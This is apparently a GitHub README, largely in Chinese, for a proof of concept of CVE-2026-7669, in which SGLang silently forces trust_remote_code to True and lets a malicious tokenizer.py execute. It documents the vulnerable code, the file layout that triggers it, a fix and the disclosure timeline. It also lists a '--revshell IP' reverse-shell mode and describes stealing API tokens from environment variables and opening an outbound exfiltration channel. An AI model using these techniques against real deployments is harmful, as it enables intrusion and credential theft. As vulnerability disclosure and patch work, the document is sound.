gouldnicholas/CVE-2026-7669-PoC

GitHub: gouldnicholas/CVE-2026-7669-PoC

CVE-2026-7669 的完整 PoC,演示 SGLang 静默将 trust_remote_code=False 覆盖为 True 从而导致 RCE 的高危漏洞。

Stars: 0 | Forks: 0

# CVE-2026-7669 SGLang 在 transformers v5 返回 `TokenizersBackend` 对象时,会静默地将 `trust_remote_code=False` 覆盖为 `True` 并重新调用 `AutoTokenizer.from_pretrained`。即使操作员传入 `False`,具有自定义 `tokenizer_class` 和指向 `tokenizer.py` 的 `auto_map` 的模型也能在 SGLang 进程内实现任意代码执行。没有任何日志行在任何级别被输出。 * 项目:https://github.com/sgl-project/sglang * 受影响版本:0.5.10 至当前 `main` 分支(commit `fae90abf6`) * 不受影响:0.5.9 及更早版本 * 漏洞代码:`python/sglang/srt/utils/hf_transformers_utils.py:898-909` * CVSS 3.1:`AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` = 8.8 高危 * CWE:693, 94, 829 ## 漏洞代码 ``` if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend": tokenizer = AutoTokenizer.from_pretrained( tokenizer_name, *args, trust_remote_code=True, tokenizer_revision=tokenizer_revision, clean_up_tokenization_spaces=False, **kwargs, ) ``` 引入于 PR [#17784](https://github.com/sgl-project/sglang/pull/17784) (commit `d1e95af28`,2026-03-18)。原始的 `logger.info(...)` 通知 在 commit `27ac831a8`(2026-03-23)中被移除,标题为"docs: improve CI and testing documentation",使覆盖在所有发布的受影响版本中完全静默。 ## 复现 ``` git clone https://github.com//CVE-2026-7669.git cd CVE-2026-7669 ./run.sh ``` 构建 Docker 镜像(`python:3.12.7-slim-bookworm` + `transformers==5.3.0` + 固定 SGLang 源码)并运行 PoC。首次运行约需 30-60 秒。 无需 GPU。 其他模式: ``` ./run.sh --server reproduce via TokenizerManager.__init__ ./run.sh --versions transformers 5.0..5.5 matrix ./run.sh --revshell IP opt-in reverse shell to IP:4444 ./run.sh --rebuild force --no-cache rebuild ./run.sh --copy-ledger ./ledger.json ``` ## 判定 退出码 0 表示已确认。最终总结: ``` Phase 1 transformers + False return=TokenizersBackend exec=False Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High *** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED *** ``` 退出码: | 码 | 含义 | |---|---| | 0 | 已确认 | | 1 | 未触发 | | 2 | 误报(transformers 本身执行了 `tokenizer.py`,漏洞在上游) | | 3 | 固定版本预检失败 | ## 固定环境 预检阶段读取 `pinned_versions.json` 并断言每个值 与运行时环境匹配。偏差在运行任何测试前以退出码 3 退出。 | 组件 | 固定版本 | |---|---| | Python | `3.12.7-slim-bookworm` | | transformers | `5.3.0` | | SGLang commit | `fae90abf6e15aaffb6fd924a439253674771487d` | | `hf_transformers_utils.py` SHA256 | `9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e` | | 漏洞块(第 898-909 行)SHA256 | `109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece` | ## CVSS 依据 | 指标 | 值 | 依据 | |---|---|---| | AV | N | 触发文件(`config.json`、`tokenizer_config.json`、`tokenizer.json`、`tokenizer.py`)是标准 HF Hub `auto_map` 布局。任何提供这些文件的注册表都会触发此漏洞。 | | AC | L | `PHASE-2` 在单次运行中确定性触发。所有触发条件都是攻击者编写的内容。`PRE-1..7` 确认无环境指纹识别。 | | PR | N | 免费的 HF Hub 上传即可。触发链中无需在受害者端有任何预存权限。 | | UI | R | 触发仅在操作员(或操作员配置的管道)调用 `launch_server --model-path attacker/model` 时触发。 | | S | U | 所有 `SEV-*` 声明在 SGLang 进程权限内运行。无沙箱或容器逃逸。 | | C | H | `SEV-secrets` 从进程环境中捕获 `HF_TOKEN`、`OPENAI_API_KEY`、`ANTHROPIC_API_KEY`、`GPG_KEY`。`SEV-network` 打开出站 TCP 外泄通道。 | | I | H | `SEV-write-sglang`、`SEV-write-launchsrv`、`SEV-write-model`、`SEV-pip` 是四个位于不同敏感位置独立的完整性原语。 | | A | H | 从 RCE 推断。`SEV-pip` 证明任意子进程执行,这与自 DoS 所需的原语相同。PoC 不直接演示自终止。 | 8.8 是保守下限。9.6(带 `S:C`)和 10.0(同时带 `S:C` 和 `UI:N`)是合理的但取决于审核者。 此 CVE 的 `UI:N` **不**合理。SGLang 的 HTTP 服务器在 `api_key=None` 和 `admin_api_key=None` 时确实存在默认无认证绕过(通过 `AUTH-1` 在运行时验证 `decide_request_auth` 原语), 但没有 HTTP 端点在启动后调用 `get_tokenizer`(通过 `CHAIN-1` 验证)。 所有四个 `get_tokenizer` 调用点 (`TokenizerManager.__init__`、`Scheduler.__init__`、`TPWorker.__init__`、 `DetokenizerManager.__init__`)在服务器启动时从操作员提供的 `--model-path` 触发一次。 因此,认证绕过是一个独立的问题,不是 CVE-2026-7669 的链伙伴。 ## 声明 PoC 在 `/tmp/poc_claim_ledger.json` 写入一个包含 29 个 可单独测试声明的 JSON 账本。使用 `./run.sh --copy-ledger ./ledger.json` 提取它。 | 组 | 声明 | |---|---| | `PRE-1..7` | 固定版本(Python、transformers、文件 SHA256、行数、覆盖块 SHA256、默认 `trust_remote_code`、源码路径) | | `SRC-1` | 导入的 `get_tokenizer` 源码包含覆盖 | | `PHASE-1` | transformers 直接尊重 `trust_remote_code=False` | | `PHASE-1b`, `PHASE-1b-mech` | SGLang 减去第 898-909 行尊重 `False` 并恰好进行一次 `from_pretrained` 调用 | | `PHASE-2`, `PHASE-2-mech`, `PHASE-2-silent` | 真实 SGLang 执行 `tokenizer.py`。追踪显示调用 0(`False`)->`TokenizersBackend`,调用 1(`True`)->`MaliciousTokenizer`。无日志行提及 `trust_remote_code`(根和 `sglang` 日志器的 DEBUG 捕获)。 | | `PHASE-2b` | 补丁 + 显式 `True` 仍能加载(补丁是精确的) | | `PHASE-3-rce`, `PHASE-3-via-override` | 慢 tokenizer 模式也通过相同的 898-909 路径实现 RCE | | `SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model` | 持久化和横向移动原语 | | `SEV-network` | 出站 TCP 外泄通道 | | `SEV-secrets` | 环境变量密钥捕获 | | `SEV-pip` | 任意 pip 安装(供应链) | | `SEV-root` | lmsysorg 镜像中以 root 运行的进程 | | `AUTH-1` | 默认 ServerArgs(`api_key=None`、`admin_api_key=None`)使所有 `ADMIN_OPTIONAL` 端点无需认证即可访问 | | `AUTH-2`, `AUTH-3` | 确认中间件阻止未认证并在配置时接受有效 bearer 令牌的积极对照 | | `CHAIN-1` | 无 HTTP 端点处理器在启动后调用 `get_tokenizer()`(`http_server.py` 中零调用点) | | `CHAIN-2` | 明确判定:此 CVE 的 UI:N 不合理。默认无认证绕过是真实的,但无法到达 trust_remote_code 覆盖,因为所有四个 `get_tokenizer` 调用者(TokenizerManager / Scheduler / TPWorker / DetokenizerManager)是服务器启动时触发一次的 `__init__` 。操作员仍在 `launch_server` 时选择模型路径,因此 UI:R 成立。 | ## 机制 触发模型文件(全部由攻击者控制,全部被 HF Hub 允许): ``` attacker/model/ config.json model_type "gpt2" (in transformers' TOKENIZER_MAPPING_NAMES) tokenizer_config.json custom tokenizer_class + auto_map -> tokenizer.py tokenizer.json valid BPE tokenizer (so the first load succeeds) tokenizer.py payload model.safetensors dummy weights ``` 在 `get_tokenizer(MODEL_DIR, trust_remote_code=False)` 内的执行流程: 1. SGLang 调用 `AutoTokenizer.from_pretrained(..., trust_remote_code=False)`。 2. Transformers v5 发现自定义 `tokenizer_class` 不在其注册表中,回退到 从 `tokenizer.json` 构建的通用 `TokenizersBackend`。此时不执行 `tokenizer.py`。 3. SGLang 的第 898-909 行检查 `type(tokenizer).__name__ == "TokenizersBackend"` 并静默使用 `trust_remote_code=True` 重试。 4. Transformers 现在被告知信任远程代码,导入 `tokenizer.py`。顶层语句在 SGLang 进程内运行。 PoC 的 `PHASE-2-mech` 逐字捕获追踪: ``` [{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"}, {idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}] ``` ## 修复 删除第 898-909 行。`TokenizersBackend` 是许多工作负载的可用的 tokenizer,原样返回它是安全默认值。 如果模型确实需要自定义 tokenizer 代码,操作员应显式传递 `--trust-remote-code`。 或者,记录 loud 警告并返回 `TokenizersBackend` 而不重新调用 `from_pretrained`: ``` if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend": logger.warning( "Model %s requires a custom tokenizer but trust_remote_code=False. " "Returning generic TokenizersBackend without executing tokenizer.py. " "Restart with --trust-remote-code if the custom code is required.", tokenizer_name, ) ``` `PHASE-2b` 验证最小补丁是精确的:显式 `trust_remote_code=True` 仍能加载模型。 ## 披露 * 2026-04-07:发现,已完成 PoC * 2026-04-07:通过 SGLang 私有漏洞报告和 VulDB 报告 * 2026-05-03:分配 CVE-2026-7669 * 2026-05-04:发布此 PoC ## 致谢 * Nick Gould ([@gouldnicholas](https://github.com/gouldnicholas), nick.gould777343 @ gmail.com) * David Rochester ([@davidrxchester](https://github.com/davidrxchester), rochesterdcj @ gmail.com) ## 参考 * 漏洞代码:https://github.com/sgl-project/sglang/blob/fae90abf6e15aaffb6fd924a439253674771487d/python/sglang/srt/utils/hf_transformers_utils.py#L898-L909 * 引入的 PR:https://github.com/sgl-project/sglang/pull/17784 * 删除日志的 commit:https://github.com/sgl-project/sglang/commit/27ac831a8 * HuggingFace `trust_remote_code`:https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained * 之前的 SGLang CVE:CVE-2025-10164、CVE-2026-3059、CVE-2026-3060 此 PoC 用于防御安全研究和修复。恶意 `tokenizer.py` 默认仅写入容器内的 `/tmp/sglang_poc_proof.txt`。 请勿在您不拥有或未经授权测试的系统上运行。
标签:AI框架, Apex, CISA项目, CVE-2026-7669, CVSS, CWE-693, CWE-829, CWE-94, DLL 劫持, HuggingFace, LLM, PoC, Python, RCE, SGLang, tokenizer, transformers, trust_remote_code, Unmanaged PE, 大语言模型, 安全漏洞, 开放策略代理, 搜索语句(dork), 无后门, 暴力破解, 机器学习, 概念验证, 编程工具, 请求拦截, 远程代码执行, 逆向工具